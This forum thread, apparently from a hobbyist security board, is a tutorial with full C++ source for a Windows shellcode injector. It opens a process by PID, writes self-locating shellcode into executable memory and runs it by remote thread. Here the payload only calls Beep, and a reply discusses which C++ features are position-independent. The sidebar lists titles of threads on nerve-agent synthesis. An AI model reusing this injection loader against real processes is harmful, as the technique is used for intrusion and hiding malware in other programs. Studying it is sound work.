+- +-

+-User

Welcome, Guest.
Please login or register.
 
 
 
Forgot your password?

+-Stats

Members
Total Members: 129
Latest: dilpreetkaur
New This Month: 1
New This Week: 1
New Today: 0
Stats
Total Posts: 319
Total Topics: 160
Most Online Today: 2
Most Online Ever: 68
(October 18, 2019, 12:38:07 am)
Users Online
Members: 0
Guests: 2
Total: 2

Author Topic: Writing shellcode in C++  (Read 1378 times)

zwclose7

  • Administrator
  • Full Member
  • *****
  • Posts: 155
  • I love anime and science!
    • View Profile
    • My blog
Writing shellcode in C++
« on: July 22, 2016, 03:00:27 pm »
Most shellcode are written in assembly language. However, it is possible to write shellcode in pure C++ without using assembly language.

The following program injects shellcode into another process. The injected shellcode locate the kernel32 via the PEB. Once the base address of kernel32 is found, the shellcode parse kernel32's export table and computes the hash of each export names. The shellcode compares the result hash with the hash of the Beep function. When the hash is match, the shellcode will get address of the Beep function from kernel32's export table. Finally, the shellcode calls the Beep function to generate a beep.

The program can also dump the shellcode into file.

Here is the source code.

Code: [Select]
#include <stdio.h>
#include <Windows.h>
#include "ntdll.h"

typedef BOOL (WINAPI *pBeep)(DWORD Frequency,DWORD Duration);

void WINAPI Code()
{
PIMAGE_DOS_HEADER pIDH;
PIMAGE_NT_HEADERS pINH;
PIMAGE_EXPORT_DIRECTORY pIED;

ULONG i,Hash;
PUCHAR ptr;

PULONG Function,Name;
PUSHORT Ordinal;

PPEB Peb;
PLDR_DATA_TABLE_ENTRY Ldr;

PVOID Kernel32Base;
pBeep fnBeep=NULL;

// Get the base address of kernel32

Peb=NtCurrentPeb();
Ldr=CONTAINING_RECORD(Peb->Ldr->InMemoryOrderModuleList.Flink,LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks.Flink); // Get the first entry (process executable)

Ldr=CONTAINING_RECORD(Ldr->InMemoryOrderLinks.Flink,LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks.Flink); // Second entry (ntdll)
Ldr=CONTAINING_RECORD(Ldr->InMemoryOrderLinks.Flink,LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks.Flink); // kernel32 is located at third entry

Kernel32Base=Ldr->DllBase;

pIDH=(PIMAGE_DOS_HEADER)Kernel32Base;
pINH=(PIMAGE_NT_HEADERS)((PUCHAR)Kernel32Base+pIDH->e_lfanew);

pIED=(PIMAGE_EXPORT_DIRECTORY)((PUCHAR)Kernel32Base+pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

Function=(PULONG)((PUCHAR)Kernel32Base+pIED->AddressOfFunctions);
Name=(PULONG)((PUCHAR)Kernel32Base+pIED->AddressOfNames);

Ordinal=(PUSHORT)((PUCHAR)Kernel32Base+pIED->AddressOfNameOrdinals);

for(i=0;i<pIED->NumberOfNames;i++)
{
Hash=0;
ptr=(PUCHAR)Kernel32Base+Name[i];

// Compute the hash

while(*ptr)
    {
    Hash=((Hash<<8)+Hash+*ptr)^(*ptr<<16);
    ptr++;
    }

if(Hash==0x7586f67c) // Hash of Beep
{
fnBeep=(pBeep)((PUCHAR)Kernel32Base+Function[Ordinal[i]]); // Get the function address
break;
}
}

if(fnBeep)
{
fnBeep(400,10000); // Call the Beep function
}
}

// This is used to calculate the code size

DWORD WINAPI CodeEnd()
{
return 0;
}

int main(int argc,char* argv[])
{
HANDLE hProcess,hThread,hFile;

PVOID mem=NULL;
ULONG CodeSize=(ULONG)CodeEnd-(ULONG)Code,size=4096,write;

CLIENT_ID cid;
OBJECT_ATTRIBUTES oa;

NTSTATUS status;
BOOLEAN bl;

if(argc<3)
{
printf("\nUsage:\n");

printf("\ncode /inject [PID]\n");
printf("Inject the shellcode into process\n");

printf("\ncode /dump [Path]\n");
printf("Dump the shellcode into file\n");

return -1;
}

if(!stricmp(argv[1],"/inject"))
{
RtlAdjustPrivilege(20,TRUE,FALSE,&bl); // Enable SeDebugPrivilege

cid.UniqueProcess=(HANDLE)atoi(argv[2]);
cid.UniqueThread=NULL;

InitializeObjectAttributes(&oa,NULL,0,NULL,NULL);

status=NtOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&oa,&cid);

if(!NT_SUCCESS(status))
{
printf("\nError: Unable to open target process (%#x)\n",status);
return -1;
}

status=NtAllocateVirtualMemory(hProcess,&mem,0,&size,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);

if(!NT_SUCCESS(status))
{
printf("\nError: Unable to allocate memory in target process (%#x)\n",status);

NtClose(hProcess);
return -1;
}

printf("\nMemory allocated at %#x\n",mem);
printf("\nShellcode size: %u bytes\n",CodeSize);

status=NtWriteVirtualMemory(hProcess,mem,Code,CodeSize,NULL);

if(!NT_SUCCESS(status))
{
printf("\nError: Unable to write the shellcode into target process (%#x)\n",status);
size=0;

NtFreeVirtualMemory(hProcess,&mem,&size,MEM_RELEASE);
NtClose(hProcess);

return -1;
}

status=RtlCreateUserThread(hProcess,NULL,FALSE,0,0,0,(PUSER_THREAD_START_ROUTINE)mem,NULL,&hThread,NULL);

if(!NT_SUCCESS(status))
{
printf("\nError: Unable to create remote thread in target process (%#x)\n",status);
size=0;

NtFreeVirtualMemory(hProcess,&mem,&size,MEM_RELEASE);
NtClose(hProcess);

return -1;
}

printf("\nThread created\n");
printf("\nWaiting for thread to terminate\n");

NtWaitForSingleObject(hThread,FALSE,NULL);
printf("\nThread terminated\n");

NtClose(hThread);
size=0;

NtFreeVirtualMemory(hProcess,&mem,&size,MEM_RELEASE);
NtClose(hProcess);

return 0;
}

else if(!stricmp(argv[1],"/dump"))
{
hFile=CreateFile(argv[2],GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,0,NULL); // Create the file

if(hFile==INVALID_HANDLE_VALUE)
{
printf("\nError: Unable to create file (%u)\n",GetLastError());
return -1;
}

if(!WriteFile(hFile,Code,CodeSize,&write,NULL)) // Write the shellcode into file
{
printf("\nError: Unable to write file (%u)\n",GetLastError());

NtClose(hFile);
return -1;
}

printf("\nShellcode successfully dumped\n");
printf("Shellcode size: %u bytes\n",CodeSize);

NtClose(hFile);
}

else
{
printf("\nError: Invalid arguments\n");
return -1;
}

return 0;
}

squanchy

  • Newbie
  • *
  • Posts: 2
    • View Profile
Re: Writing shellcode in C++
« Reply #1 on: October 17, 2016, 08:16:21 pm »
Some parts of the language generate position-independent code and others don't.

Safe stuff:
  • Functions
  • Classes
  • Templates
  • new/delete: the implementation of these can be overriden to make them use HealAlloc/HeapFree

Unsafe stuff:
  • String literals, global variables, static members of classes: in x86, the compiler hard-codes the adresses of these variables, so you have to create some kind of idiom (eg. delta offset) to access them. And still they are stored out of .text, so you have to work around that merging data sections into .text and giving it RWE attributes. In x64 references are relative to RIP so it's all good. For string literals there are a lot of options, one example is this.
  • Class hierarchies with virtual functions,C++ exceptions: the implementation of these is usually in stdlibc++, which means if you link with /nodefaultlib you can't use them

My two cents
Informative Informative x 2 View List

 

+-Recent Topics

Independent Call Girls in Chandigarh by dilpreetkaur
June 21, 2021, 01:02:52 pm

Hi zwclose7. How to create process by using NT apis? by zwclose7
June 01, 2021, 03:09:52 pm

Poison of the Day by zwclose7
March 16, 2020, 06:45:08 pm

IRC by AzeS
February 17, 2020, 08:18:01 am

Native API tutorial by hMihaiDavid
January 08, 2019, 02:11:02 am

The properties of GP nerve agent by xchg
October 19, 2018, 07:40:57 pm

A new route of synthesis for G-series agents by Basquyatti
October 15, 2018, 06:12:57 am

Synthesis of Methylisobutylcarbinylsarin (GH) by APC process by Basquyatti
October 14, 2018, 07:55:33 am

Synthesis conventional of Sarin by Basquyatti
October 02, 2018, 07:57:32 am

Reaction CX-7 (Experimental) by zwclose7
October 02, 2018, 12:46:47 am